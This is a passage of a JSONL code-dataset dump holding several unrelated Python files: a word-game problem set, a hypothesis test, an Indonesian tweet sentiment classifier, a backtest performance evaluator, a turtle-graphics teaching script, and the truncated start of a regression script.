calculate_handlen(hand)\n\tscore = 0\n\ttotal_score = 0\n\tmark = '0' \n\twhile handlen > 0:\n\t\tprint('\\nCurrent hand:',end='') \n\t\tdisplay_hand(hand)\n\t\tword = input('Enter word, or \"!!\" to indicate that you are finished: ')\n\t\tif word =='!!':\n\t\t\tmark ='1'\n\t\t\tscore = get_word_score(word, handlen)\n\t\t\ttotal_score += score\n\t\t\tprint('Total score for this hand:',total_score)\n\t\t\tbreak\n\t\telse:\n\t\t\tif not (is_valid_word(word, hand, word_list)):\n\t\t\t\tprint('That is not a valid word. Please choose another word.')\n\t\t\t\thand = update_hand(hand, word) \n\t\t\t\thandlen = calculate_handlen(hand)\n \n\t\t\telse:\n\t\t\t\tscore = get_word_score(word,handlen)\n\t\t\t\ttotal_score += score \n\t\t\t\tprint(word,'earned',score,'points. Total:',total_score,'points') \n\t\t\t\thand = update_hand(hand, word) \n\t\t\t\thandlen = calculate_handlen(hand)\n\tif mark == '0':\n\t\tprint('Ran out of letters. Total score of this hand:',total_score,'points')\n\treturn total_score\n\n#\n# Problem #6: Playing a game\n# \n\n\n#\n# procedure you will use to substitute a letter in a hand\n#\n\ndef substitute_hand(hand, letter):\n ALPHA_new = \"\"\n ALPHA = VOWELS + CONSONANTS\n hand_copy = hand.copy()\n keys_lists = list(hand_copy.keys())\n for char in ALPHA:\n if char not in keys_lists:\n ALPHA_new += char\n x = random.choice(ALPHA_new)\n value_x = hand_copy.get(letter,0)\n if letter in keys_lists:\n \tdel(hand_copy[letter])\n else:\n \tprint('This letter is not in current hand. Plese try a valid letter')\n hand_copy[x] = value_x\n return hand_copy\n\ndef play_game(word_list):\n\n\thand_num = int(input('Enter total number of hands: '))\n\thand_numCopy = hand_num\n\thand = deal_hand(HAND_SIZE)\n\ttotal_score = 0\n\tscore = 0\n\tprint('Current hand:',end='')\n\tdisplay_hand(hand)\n\tans_sub = input('Would you like to substitute a letter? ')\n\twhile hand_num >=0:\n\t\tif ans_sub.lower() == 'yes':\n\t\t\tletter = input('Which letter would you like to replace: ')\n\t\t\thandNew = substitute_hand(hand,letter)\n\t\t\tif letter not in hand.keys():\n\t\t\t\tcontinue\n\t\t\tscore = play_hand(handNew,word_list)\n\t\t\tans_sub = 'no'\n\t\t\t\n\t\telse:\n\t\t\tif hand_num == hand_numCopy:\n\t\t\t\tscore = play_hand(hand,word_list)\n\t\t\telse:\n\t\t\t\tans_hand = input('Would you like to replay the hand? ')\n\t\t\t\tif ans_hand.lower() == 'yes':\n\t\t\t\t\tscore = play_hand(hand,word_list)\n\t\t\t\telse:\n\t\t\t\t\thand = deal_hand(HAND_SIZE)\n\t\t\t\t\tprint('\\nCurrent hand:',end='')\n\t\t\t\t\tdisplay_hand(hand)\n\t\t\t\t\tans_sub1 = input('Would you like to substitute a letter? ')\n\t\t\t\t\tif ans_sub1.lower() == 'yes':\n\t\t\t\t\t\tletter= input('Which letter would you like to replace: ')\n\t\t\t\t\t\thand = substitute_hand(hand,letter)\n\t\t\t\t\t\tif letter not in hand.keys():\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\tscore = play_hand(hand,word_list)\n\t\thand_num -= 1\n\t\tprint('----------')\n\t\ttotal_score += score\n\tprint('Total score over all hands: ',total_score)\n\nif __name__ == '__main__':\n\tword_list = load_words()\n\tplay_game(word_list)\n","sub_path":"ps3/ps3.py","file_name":"ps3.py","file_ext":"py","file_size_in_byte":7074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"21207714","text":"from typing import Tuple\n\nfrom hypothesis import given\n\nfrom tests.utils import (BoundPortedNodesPair,\n are_bound_ported_nodes_equal,\n are_bound_ported_nodes_sequences_equal)\nfrom . import strategies\n\n\n@given(strategies.nested_nodes_with_children_pairs, strategies.nodes_pairs)\ndef test_basic(first_nodes_with_children_pair: Tuple[BoundPortedNodesPair,\n BoundPortedNodesPair],\n second_nodes_pair: BoundPortedNodesPair) -> None:\n first_nodes, first_children = first_nodes_with_children_pair\n first_bound, first_ported = first_nodes\n first_bound_child, first_ported_child = first_children\n second_bound, second_ported = second_nodes_pair\n\n first_bound_child.replace_with(second_bound)\n first_ported_child.replace_with(second_ported)\n\n assert are_bound_ported_nodes_sequences_equal(first_bound_child.parents,\n first_ported_child.parents)\n assert are_bound_ported_nodes_sequences_equal(second_bound.parents,\n second_ported.parents)\n assert are_bound_ported_nodes_equal(first_bound, first_ported)\n","sub_path":"tests/integration_tests/nodes_tests/test_replace_with.py","file_name":"test_replace_with.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"35063825","text":"import string\nimport json\nimport sys\nimport csv\n\nfrom nltk.tokenize import word_tokenize\nfrom nltk.tokenize import RegexpTokenizer\nfrom nltk.probability import ELEProbDist, FreqDist\nfrom nltk import NaiveBayesClassifier\nfrom Sastrawi.Stemmer.StemmerFactory import StemmerFactory\nimport nltk\nimport re\n\n#untuk membuat stemmer\nfactory = StemmerFactory()\nstemmer = factory.create_stemmer()\n\ndef main():\n\tfileLatih = 'data_latih'\n\tfileUji = 'test'\n\twith open(fileLatih+\".json\",'r') as f, open('Hasil Informative Feature', 'w') as file, open('key_norm.csv') as filecsv, open('stopword_list_TALA.txt','r') as stp_file, open(fileLatih+\"_tesakurasi_praproses.txt\",'w') as hasil_tweet, open(fileUji+\".json\",'r') as fOpen, open(fileUji+\"_testakurasi_hasil.txt\",'w') as hasil_akurasi:\n\t\tjson_str = f.read()\n\t\tjson_data = json.loads(json_str)\n\n\t\tjson_strOpen=fOpen.read()\n\t\tjson_dataOpen=json.loads(json_strOpen)\n\n\t\t# ini mengubah karakter unik u' dalam delimiter nya dan mengambil value dari isi\n\t\tutfjson = []\n\t\tfor js in json_data:\n\t\t\ttemp = dict()\n\t\t\tfor key,val in js.iteritems():\n\t\t\t\tif key.encode(\"utf-8\") == \"isi\": \n\t\t\t\t\ttemp[key.encode(\"utf-8\")] = val.encode(\"utf-8\")\n\t\t\tutfjson.append(temp)\n\n\t\t#mengambil value dari dictionary 'isi'\n\t\tisi_dict=[]\n\t\tfor reg in utfjson:\n\t\t\tfor k,v in reg.iteritems():\n\t\t\t\tregular = v.lower()\n\t\t\t\tisi_dict.append(regular)\n\t\t\n\t\tprint('Membersihkan karakter2 khusus seperti link web, akun suser')\n\t\t# Membersihkan karakter2 khusus seperti link web, akun suser, dan #\n\t\tclean_regular = []\n\t\tfor regular in isi_dict:\n\t\t\tregular = re.sub('((www\\.[\\s]+)|(https?://[^\\s]+))',' ',regular)\n\t\t\tregular = re.sub('@[^\\s]+',' ',regular)\n\t\t\tregular = re.sub('[\\s]+', ' ', regular)\n\t\t\tregular = re.sub('#([^\\s]+)', ' ', regular)\n\t\t\tregular = regular.strip('\\\"')\n\t\t\tclean_regular.append(regular)\n\n\t\t# melakukan normalisasi teks, mengubah singkatan2 yang ada\n\t\tread = csv.reader(filecsv, delimiter=',')\n\t\tkeys=[]\n\t\tresults=[]\n\t\tclean_norm=[]\n\t\t\n\t\tfor row in read: # untuk mengubah csv ke dalam array\n\t\t\tkeys.append(row[1])\n\t\t\tresults.append(row[2])\n\t\t\n\t\tgabung=dict(zip(keys,results)) #menggabungkan dua array\n\n\t\tprint('Mulai normalisasi')\n\t\tclean_digit=[]\n\t\tfor s in clean_regular:\n\t\t\tc_num = ''.join(i for i in s if not i.isdigit())\n\t\t\tclean_digit.append(c_num)\n\n\n\t\tfor q in clean_digit: \n\t\t\ttemp = q.split()\n\t\t\t# Ambil array Kata\n\t\t\tfor i,_ in enumerate(temp):\n\t\t\t\tif temp[i] in gabung:\n\t\t\t\t\ttemp[i] = gabung[temp[i]]\n\t\t\ttemp2=' '.join(temp)\n\t\t\tclean_norm.append(temp2)\n\n\t\tprint('mulai stemming..')\n\t\t# Proses stemming data\n\t\tclean_stemmer = []\n\t\tfor csm in clean_norm:\n\t\t\tclean = stemmer.stem(csm)\n\t\t\tclean_stemmer.append(clean)\n\n\t\t# Membersihkan Stopword\n\t\tatp = [] #variabel menyimpan array dalam array\n\t\tstp=[] #variabel mengubah atp menjadi 1 array saja\n\t\tclean_stopword = []\n\t\t#mengubah stopword yang txt ke bentuk array\n\t\tfor line in stp_file:\n\t\t atp.append(line.strip().split('/n'))\n\n\t\tstp=sum(atp,[])\n\t\tprint ('Clean Stopword')\n\t\tfor csw in clean_stemmer:\n\t\t\ttemp=csw.split() #membuat tokenize\n\t\t\tclean_pnc = filter(lambda x: x not in string.punctuation,temp)\n\t\t\tclean_sw = filter(lambda x: x not in stp,clean_pnc)\n\t\t\tcc=' '.join(clean_sw) #menggabngkan tokenize\n\t\t\tclean_stopword.append(cc)\n\n\t\t# untuk mengambbil sentimen aja\n\t\tutfjson3 = [] \n\t\tfor js in json_data:\n\t\t\ttemp = dict()\n\t\t\tfor key,val in js.iteritems():\n\t\t\t\tif key.encode(\"utf-8\") == \"sentimen\": \n\t\t\t\t\ttemp[key.encode(\"utf-8\")] = val.encode(\"utf-8\")\n\t\t\tutfjson3.append(temp)\n\n\t\tb=[] #variabel untuk menyiman kumulan sentimen\n\t\tfor reg in utfjson3:\n\t\t\tfor k,v in reg.iteritems():\n\t\t\t\tregular = v.lower()\n\t\t\t\tb.append(regular)\n\n\t\tclean_tweet=[]\n\t\tfor i in range(len(clean_stopword)):\n\t\t\tc = (clean_stopword[i],b[i])\n\t\t\tclean_tweet.append(c)\n\n\t\tprint ('menulis ke file '+fileUji)\n\t\t#menulis hasil tweet\n\t\thasil_tweet.write('[\\n')\n\t\tFNL= False\n\t\tfor i in clean_tweet:\n\t\t\tif FNL == True:\n\t\t\t\thasil_tweet.write(',\\n')\n\t\t\tFNL = True\n\t\t\thasil_tweet.write(str(i))\n\n\t\thasil_tweet.write(']')\n\n\t\tprint('Donee ^^')\n\n\t\t############ Membuat (tokenize word, sentimen) ###############\n\t\t#untuk menyimpan array kata yang sudah di split \n\t\tprint('Proses Sentimen')\n\t\ttweets=[]\n\t\tfor word,sentimen in clean_tweet:\n\t\t words_filtered = [e.lower() for e in word.split()]\n\t\t tweets.append((words_filtered, sentimen))\n\n\n\t\tdef get_words_in_tweets(tweets):\n\t\t all_words = []\n\t\t for (words, sentiment) in tweets:\n\t\t all_words.extend(words)\n\t\t return all_words\n\n\n\t\tdef get_word_features(wordlist):\t\n\t\t wordlist = nltk.FreqDist(wordlist)\n\t\t word_features = wordlist.keys()\n\t\t return word_features\n\n\n\t\tword_features = get_word_features(get_words_in_tweets(tweets))\n\n\n\t\t#untuk ekstraksi fitur\n\t\tdef extract_features(document):\n\t\t document_words = set(document)\n\t\t features = {}\n\t\t for word in word_features:\n\t\t features['contains(%s)' % word] = (word in document_words)\n\t\t return features\n\n\n\t\ttraining_set = nltk.classify.apply_features(extract_features, tweets)\n\n\n\t\t########################## Membuat train klasifier #################################\n\t\tclassifier = nltk.NaiveBayesClassifier.train(training_set)\n\n\t\tdef train(labeled_featuresets, estimator=ELEProbDist):\n\t\t # Create the P(label) distribution\n\t\t label_probdist = estimator(label_freqdist)\n\t\t # Create the P(fval|label, fname) distribution\n\t\t feature_probdist = {}\n\t\t return NaiveBayesClassifier(label_probdist, feature_probdist)\n\n\t\t########################################\n\t\t## Membuka file yang akan di sentimen ##\n\t\t########################################\n\t\tutfjson2_open=[]\n\t\tfor jso in json_dataOpen:\n\t\t\ttemp = dict()\n\t\t\tfor key,val in jso.iteritems():\n\t\t\t\tif key.encode(\"utf-8\") == \"isi\": \n\t\t\t\t\ttemp[key.encode(\"utf-8\")] = val.encode(\"utf-8\")\n\t\t\tutfjson2_open.append(temp)\n\n\t\t# mengambil isi yang akan di sentimen\n\t\tisi2_open=[]\n\t\tfor rego in utfjson2_open:\n\t\t\tfor k,v in rego.iteritems():\n\t\t\t\tregularo = v.lower()\n\t\t\t\tisi2_open.append(regularo)\n\n\t\t#melakukan sentimen\n\t\tprint('Melakukan sentimen')\n\t\thasil_sentimen=[]\n\t\tfor i in isi2_open:\n\t\t\tsentimen= classifier.classify(extract_features(i.split()))\n\t\t\thasil_sentimen.append(sentimen)\n\n\t\t########################################\n\t\t## Ambil sentimen awal banget ##\n\t\t########################################\n\t\tutfjson2_sentimen=[]\n\t\tfor jso in json_dataOpen:\n\t\t\ttemp = dict()\n\t\t\tfor key,val in jso.iteritems():\n\t\t\t\tif key.encode(\"utf-8\") == \"sentimen\": \n\t\t\t\t\ttemp[key.encode(\"utf-8\")] = val.encode(\"utf-8\")\n\t\t\tutfjson2_sentimen.append(temp)\n\n\t\t# mengambil isi yang akan di sentimen\n\t\tisi2_sentimen=[]\n\t\tfor rego in utfjson2_sentimen:\n\t\t\tfor k,v in rego.iteritems():\n\t\t\t\tregularo = v.lower()\n\t\t\t\tisi2_sentimen.append(regularo)\n\n\t\tdef show_most_informative_features(self, n=10):\n\t\t strlist = []\n\t\t # Determine the most relevant features, and display them.\n\t\t cpdist = self._feature_probdist\n\t\t # print('Most Informative Features')\n\t\t strlist.append('Most Informative Features')\n\t\t for (fname, fval) in self.most_informative_features(n):\n\t\t def labelprob(l):\n\t\t return cpdist[l,fname].prob(fval)\n\t\t labels = sorted([l for l in self._labels\n\t\t if fval in cpdist[l,fname].samples()],\n\t\t key=labelprob)\n\t\t if len(labels) == 1: continue\n\t\t l0 = labels[0]\n\t\t l1 = labels[-1]\n\t\t if cpdist[l0,fname].prob(fval) == 0:\n\t\t ratio = 'INF'\n\t\t else:\n\t\t ratio = '%8.1f' % (cpdist[l1,fname].prob(fval) /\n\t\t cpdist[l0,fname].prob(fval))\n\t\t # print(('%24s = %-14r %6s : %-6s = %s : 1.0' %\n\t\t # (fname, fval, (\"%s\" % l1)[:6], (\"%s\" % l0)[:6], ratio)))\n\t\t strlist.append(('%24s = %-14r %6s : %-6s = %s : 1.0' %\n\t\t (fname, fval, (\"%s\" % l1)[:6], (\"%s\" % l0)[:6], ratio)))\n\t\t return strlist\n\n\t\tlist = show_most_informative_features(classifier, 500)\n\t\tfor i in list:\n\t\t\tprint>>file,i\n\n\n\n\n\t\t################## Hitung Akurasi ###########\n\t\tpositif = 0\n\t\tpositif_tp=0\n\t\tpositif_fn=0\n\t\tnegatif = 0\n\t\tnegatif_tp=0\n\t\tnegatif_fn=0\n\t\tnetral = 0\n\t\tnetral_tp=0\n\t\tnetral_fn=0\n\n\t\tfor i in range(len(isi2_sentimen)):\n\t\t\tif isi2_sentimen[i] == \"netral\":\n\t\t\t\tif isi2_sentimen[i] == hasil_sentimen[i]:\n\t\t\t\t\tnetral_tp = netral_tp + 1\n\t\t\t\t\tcontinue\n\t\t\t\telse:\n\t\t\t\t\tnetral_fn = netral_fn + 1\n\t\t\t\t\tcontinue\n\t\t\telif isi2_sentimen[i] == \"positif\":\n\t\t\t\tif isi2_sentimen[i] == hasil_sentimen[i]:\n\t\t\t\t\tpositif_tp = positif_tp + 1\n\t\t\t\t\tcontinue\n\t\t\t\telse:\n\t\t\t\t\tpositif_fn = positif_fn + 1\n\t\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tif isi2_sentimen[i] == hasil_sentimen[i]:\n\t\t\t\t\tnegatif_tp = negatif_tp + 1\n\t\t\t\t\tcontinue\n\t\t\t\telse:\n\t\t\t\t\tnegatif_fn = negatif_fn + 1\n\t\t\t\t\tcontinue\n\n\n\t\tfor i in range(len(isi2_sentimen)):\n\t\t\tif isi2_sentimen[i] == \"netral\":\n\t\t\t\tnetral = netral + 1\n\t\t\t\tcontinue\n\t\t\telif isi2_sentimen[i] == \"positif\":\n\t\t\t\tpositif = positif + 1\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tnegatif = negatif + 1\n\t\t\t\tcontinue\n\n\t\takurasi = (float(positif_tp+negatif_tp+netral_tp)) / (positif+negatif+netral) * 100\n\t\t\n\t\t#presisi \n\t\tpositif_presisi=float(positif_tp)/(positif_tp+(negatif_tp+netral_tp))\n\t\tnegatif_presisi=float(negatif_tp)/(negatif_tp+(positif_tp+netral_tp))\n\t\tnetral_presisi=float(netral_tp)/(netral_tp+(negatif_tp+positif_tp))\n\n\t\t#recall\n\t\tpositif_recall=float(positif_tp)/(positif_tp+positif_fn)\n\t\tnegatif_recall=float(negatif_tp)/(negatif_tp+negatif_fn)\n\t\tnetral_recall=float(netral_tp)/(netral_tp+netral_fn)\n\n\n\t\thasil_akurasi.write('Berikut Hasil sentimen dengan akurasi : '+ str(akurasi) +' %\\n')\n\n\t\thasil_akurasi.write ('positif : '+ str(positif) + '\\n')\n\t\thasil_akurasi.write ('positif_tp : ' + str(positif_tp) + '\\n')\n\t\thasil_akurasi.write ('positif_fn : ' + str(positif_fn) + '\\n')\n\t\thasil_akurasi.write ('positif_precision : ' + str(positif_presisi) + '\\n')\n\t\thasil_akurasi.write ('positif_recall : ' + str(positif_recall) + '\\n\\n')\n\t\t\n\n\t\thasil_akurasi.write ('negatif : '+ str(negatif) + '\\n')\n\t\thasil_akurasi.write ('negatif_tp : ' + str(negatif_tp) + '\\n')\n\t\thasil_akurasi.write ('negatif_fn : ' + str(negatif_fn) + '\\n')\n\t\thasil_akurasi.write ('negatif_precision : ' + str(negatif_presisi) + '\\n')\n\t\thasil_akurasi.write ('negatif_recall : ' + str(negatif_recall) + '\\n\\n')\n\t\t\n\n\t\thasil_akurasi.write ('netral : '+ str(netral) + '\\n')\n\t\thasil_akurasi.write ('netral_tp : ' + str(netral_tp) + '\\n')\n\t\thasil_akurasi.write ('netral_fn : ' + str(netral_fn) + '\\n')\n\t\thasil_akurasi.write ('netral_precision : ' + str(netral_presisi) + '\\n')\n\t\thasil_akurasi.write ('netral_recall : ' + str(netral_recall) + '\\n\\n')\n\t\t\n\n\t\thasil_tweet.close()\n\t\thasil_akurasi.close()\n\t\tfile.close()\n\nif __name__ == '__main__':\n\tmain()","sub_path":"hitung akurasi/hitung_akurasi.py","file_name":"hitung_akurasi.py","file_ext":"py","file_size_in_byte":10686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"130424940","text":"import pandas as pd\r\nimport numpy as np\r\n\r\n\r\nclass DrawBack:\r\n '''\r\n 计算回撤情况的类\r\n '''\r\n def __init__(self, netval):\r\n '''\r\n 初始化\r\n :param netval: 净值,Series,index为日期\r\n '''\r\n self.netval = netval\r\n self.calDrawDown()\r\n self.netval = None\r\n\r\n def calDrawDown(self):\r\n '''\r\n 计算回撤、最大回撤和最大回撤起止时间\r\n '''\r\n n = len(self.netval)\r\n ## 两个起止时间的收益率,行为开始时间,列为结束时间\r\n retij = np.dot(1 / self.netval.values.reshape((n, 1)), self.netval.values.reshape((1, n))) - 1\r\n\r\n ## 初始化\r\n drawback = np.zeros(n) # 每天的回撤\r\n max_drawback = 0 # 最大回撤\r\n max_drawback_start = np.nan # 最大回撤起始点\r\n max_drawback_end = np.nan # 最大回撤结束点\r\n\r\n ## 计算最大回撤\r\n for j in range(1, n):\r\n drawback[j] = min(retij[:(j + 1), j]) # 到j时间点时的回撤\r\n if drawback[j] < max_drawback:\r\n max_drawback = drawback[j]\r\n max_drawback_start = np.argmin(retij[:(j + 1), j])\r\n max_drawback_end = j\r\n\r\n ## 保存结果\r\n self.drawback = pd.DataFrame(drawback, index = self.netval.index, columns = [\"drawback\"])\r\n self.max_drawback = max_drawback\r\n self.max_drawback_period = [self.netval.index[max_drawback_start], self.netval.index[max_drawback_end]]\r\n\r\n\r\n\r\nclass eval:\r\n '''\r\n 计算策略的评价指标\r\n '''\r\n def __init__(self, netval, benchmark, rfree = 0.03):\r\n '''\r\n 初始化\r\n :param netval: 净值,Dataframe,index为日期\r\n :param benchmark: 基准净值,Dataframe,index为日期\r\n :param rfree: 年化无风险利率\r\n '''\r\n ## 检查netval和benchmark的index是否匹配\r\n assert all(netval.index == benchmark.index), \"Error Indexes of netval and benchmark do not match.\"\r\n\r\n self.rfree = rfree # 年化无风险利率\r\n self.n = len(netval) # 策略执行的期数\r\n self.netval = self.__adjustDataFormat(netval) # 调整数据格式\r\n self.benchmark = self.__adjustDataFormat(benchmark) # 调整数据格式\r\n\r\n ## 计算策略执行的时间(年为单位)\r\n seconds = (self.netval.index[-1] - self.netval.index[0]).total_seconds() # 策略执行的总时间(秒为单位)\r\n year_seconds = (pd.to_datetime('2019-01-01 00:00:00') - pd.to_datetime('2018-01-01 00:00:00')).total_seconds()\r\n self.year = seconds / year_seconds\r\n\r\n\r\n def __adjustDataFormat(self, netval):\r\n '''\r\n 调整数据格式,将Dataframe转为Series\r\n '''\r\n if len(netval.shape) > 1:\r\n return(pd.Series(netval.values.T[0], index=netval.index))\r\n else:\r\n return(pd.Series(netval.values, index=netval.index))\r\n\r\n @staticmethod\r\n def calRiskReturn(netval, n, year, rfree):\r\n ## 总收益率\r\n total_ret = netval.values[-1] / netval.values[0] - 1\r\n ## 年化收益率\r\n anual_ret = np.power(1 + total_ret, 1.0 / year) - 1\r\n ## 每一期收益率\r\n freq_ret = netval.values[1:] / netval.values[:-1] - 1\r\n ## 平均收益率\r\n freq_mean = np.mean(freq_ret)\r\n ## 波动率\r\n freq_std = np.std(freq_ret)\r\n ## 年化波动率\r\n anual_std = np.sqrt(n / year) * freq_std\r\n ## sharpe ratio\r\n sharpe = (anual_ret - rfree) / anual_std\r\n\r\n res = pd.DataFrame([total_ret, anual_ret, anual_std, sharpe, freq_mean, freq_std],\r\n index=['Total Return', 'Annualized Return', 'Annualized Volatility',\r\n 'sharpe', 'Average Return', 'Volatility'])\r\n return (res)\r\n\r\n\r\n def __CAPM(self):\r\n '''\r\n 计算alpha, beta, information ratio和active risk\r\n '''\r\n freq_ret = self.netval.values[1:] / self.netval.values[:-1] - 1 # 策略每期收益率\r\n bm_freq_ret = self.benchmark.values[1:] / self.benchmark.values[:-1] - 1 # 基准每期收益率\r\n beta = np.cov(freq_ret, bm_freq_ret)[0, 1] / np.var(bm_freq_ret) # beta\r\n alpha = (self.netval_riskreturn.loc['Annualized Return'][0] - self.rfree) - \\\r\n beta * (self.benchmark_riskreturn.loc['Annualized Return'][0] - self.rfree) # alpha\r\n active_risk = np.std(bm_freq_ret - freq_ret) # active risk/tracking error\r\n anual_active_risk = np.sqrt(self.n / self.year) * active_risk # 年化active risk\r\n info_ratio = (self.netval_riskreturn.loc['Annualized Return'][0] - self.benchmark_riskreturn.loc['Annualized Return'][0]) / \\\r\n anual_active_risk # information ratio\r\n\r\n self.netval_capm = pd.DataFrame([info_ratio, alpha, beta, active_risk, anual_active_risk],columns = ['strategy'],\r\n index = [ 'Information Ratio', 'alpha', 'beta', 'Active Risk', 'Annualized Active Risk'])\r\n\r\n\r\n def __summary(self):\r\n '''\r\n 汇总结果\r\n '''\r\n ## 风险收益指标\r\n res = pd.concat([self.netval_riskreturn, self.benchmark_riskreturn], axis = 1)\r\n res.columns = ['Strategy', 'Benchmark']\r\n\r\n ## 最大回撤\r\n tmp = pd.DataFrame([[self.netval_drawback.max_drawback, self.benchmark_drawback.max_drawback]],\r\n columns=['Strategy', 'Benchmark'], index=['Max Drawback'])\r\n res = pd.concat([res, tmp])\r\n\r\n ## alpha, beta, IR\r\n tmp = pd.DataFrame([np.nan] * self.netval_capm.shape[0], index = self.netval_capm.index)\r\n tmp = pd.concat([self.netval_capm, tmp], axis = 1)\r\n tmp.columns = ['Strategy', 'Benchmark']\r\n\r\n self.summary = pd.concat([res, tmp])\r\n\r\n\r\n def runEval(self):\r\n ## 计算策略的回撤情况和风险收益指标\r\n self.netval_drawback = DrawBack(self.netval)\r\n self.netval_riskreturn = eval.calRiskReturn(self.netval, self.n, self.year, self.rfree)\r\n\r\n ## 计算基准的回撤情况和风险收益指标\r\n self.benchmark_drawback = DrawBack(self.benchmark)\r\n self.benchmark_riskreturn = eval.calRiskReturn(self.benchmark, self.n, self.year, self.rfree)\r\n\r\n ## 计算alpha, beta, information ratio和active risk\r\n self.__CAPM()\r\n\r\n ## 汇总结果\r\n self.__summary()\r\n\r\n\r\n\r\n\r\n\r\n## test class\r\n# dataB = pd.read_csv(open('.\\data\\上证50.csv'), index_col=1, parse_dates=True)\r\n# dataS = pd.read_csv(open('.\\data\\创业板指.csv'), index_col=1, parse_dates=True)\r\n# data = {'上证50': dataB, '创业板指':dataS}\r\n#\r\n#\r\n# from backtest import BackTest\r\n# import talib as tl\r\n# def strategy(data, date):\r\n# dataB = data['上证50']\r\n# dataS = data['创业板指']\r\n#\r\n# dataB = dataB[dataB.index <= date]['close']\r\n# dataS = dataS[dataS.index <= date]['close']\r\n# n = min(len(dataB), len(dataS))\r\n#\r\n# dataB = dataB[-n:]\r\n# dataS = dataS[-n:]\r\n# B_S = np.log(dataB) - np.log(dataS)\r\n#\r\n# BS_MA = tl.EMA(B_S.values, 15)\r\n# if BS_MA[-1] < B_S.values[-1]:\r\n# return({'上证50': 1, '创业板指':0, 'cash': 0})\r\n# else:\r\n# return ({'上证50': 0, '创业板指': 1, 'cash': 0})\r\n#\r\n#\r\n# backtest_dates = data['上证50'].index\r\n#\r\n# bt = BackTest(data, backtest_dates, strategy, buy_commission = 2.5e-4, sell_commission = 2.5e-4 + 1e-3)\r\n# bt.runBackTest()\r\n#\r\n# import matplotlib.pyplot as plt\r\n# plt.plot(bt.netval)\r\n# plt.show()\r\n#\r\n# plt.plot(bt.turnover)\r\n# plt.show()\r\n#\r\n# benchmark = dataB.loc[bt.netval.index]['close'] * 0.5 + dataS.loc[bt.netval.index]['close'] * 0.5\r\n# benchmark = benchmark / benchmark[0]\r\n#\r\n# perf = eval(bt.netval,benchmark)\r\n# perf.runEval()\r\n# perf.summary\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"BSRI/module_make_MyBackTest/MyBackTest/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":8050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"540413652","text":"'''\nThe Shape Function\nWhile our code to draw a custom shape wasn’t too long (five lines), it was still a\ngood bit longer than other commands, which were only two lines. If we had commands\nwith even longer code, this could get big and disorganized fast. Functions\ngive us a way to keep things more organized by separating out different areas of the\nprogram.\nTo start, let’s take that shape command’s code and make it a separate function.\nThere are two ways we could do this: we could continue to get the user’s input in the\nmain program, then pass it as input into the function to draw the shape. Or, we could\njust combine all that code into the single function and call it; then, the user input\nwould be entered during the function call. The benefit of the first approach is that it\nallows us to draw a shape with numSides and sideLength regardless of whether\nthe user entered these or if they came from somewhere else (like reading them from\na file), so that’s probably the better design.\nTheShapeFunction.py shows the code to do this the first way. Our changes are\nrelatively simple:\n• Defined a function drawShape() on line 5 at the start with parameters num-\nSides and sideLength (still after the import statement, though).\n• Copied the three lines of code (from the ‘shape’ branch) after getting the side-\nLength into the function drawShape(), line 6 through 8.\n• Called the function drawShape() with the user’s inputted numSides and\nsideLength as arguments on line 35. Note that here, the arguments are variables,\nand their names (numSides and sideLength) happen to match the parameter\nnames (also numSides and sideLength), but this doesn’t have to be the case.\nSo, now we’ve successfully spun drawShape() off into its own function. In\nthe process, we’ve shortened the code inside the main reasoning of the program\ndown to just the input lines and one line to actually do the drawing, like the other\ncommands. One of the benefits of this is that it keeps our code more organized. The\nbigger benefit, though, is that it lets us call that function in more flexible ways. Let’s\nsee how.\n'''\n\nimport turtle\nmyTurtle = turtle.Turtle()\n#Draw a shape with numSides sides, each side of length sideLength, rotating by\n#360/numSides between each side\ndef drawShape(numSides, sideLength):\n for _ in range(0, numSides):\n myTurtle.forward(sideLength)\n myTurtle.right(360/numSides)\n\ncommand = \"\"\n\n#Loop until the user's command is 'end'\nwhile not command == \"end\":\n #Get the user's command\n command = input(\"Enter a command (turn, forward, end): \")\n #Check if the command is 'turn'\n if command == \"turn\":\n #Get the angle if so\n angle = input(\"Enter the angle: \")\n #Execute the turn\n myTurtle.right(int(angle))\n #Check if the command is 'forward'\n elif command == \"forward\":\n #Get the distance if so\n distance = input(\"Enter distance: \")\n #Execute the move\n myTurtle.forward(int(distance))\n #Check if the command is 'shape'\n elif command == \"shape\":\n #Get the number of sides to draw\n numSides = int(input(\"Enter the number of sides (3 or more): \"))\n #Get the side length to draw\n sideLength = int(input(\"Enter the length of each side: \"))\n #Draw the shape\n drawShape(numSides, sideLength)\n #Checks if the command is 'end'\n elif command == \"end\":\n #Skip if so; the loop won't repeat again if command == \"end\"\n pass\n else:\n print(\"Invalid command! Please enter 'turn' or 'forward'.\")\n\n","sub_path":"Unit3/Chapter 3.1 to 3.4/TheShapeFunction.py","file_name":"TheShapeFunction.py","file_ext":"py","file_size_in_byte":3583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"120031660","text":"import sys\nimport csv\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.model_selection import train_test_split\nimport collections\n\nmetrics = collections.defaultdict(int)\ndef incr(name):\n metrics[name] += 1\n\ndef add(name, num):\n metrics[name] += num\n\ndef varname(var):\n return list(dict(abc=abc).keys())[0]\n\ndef show_metrics():\n for key,val in metrics.items():\n print(\": \".join((key,str(val))))\n\ndef get(items, idx):\n if items[idx].replace(\",\",\"\").strip() in (\"#DIV/0!\", \"#NUM!\") :\n return 0\n else: \n return float(items[idx].replace(\",\",\"\").strip())\n\nclass AiqObj:\n def __init__(self):\n self.data={}\n self.data_predict={}\n\n def add(self, code, year, item):\n self.data[(code,year)]=item\n pass\n\n def get(self, code, year):\n return self.data_predict[(code, year)]\n\n def predict(self):\n #acc_dict[code].add(code, year, [ta, asset, rev, rec, ppe]) \n dataset=[]\n for k,v in sorted(self.data.items(), key=lambda 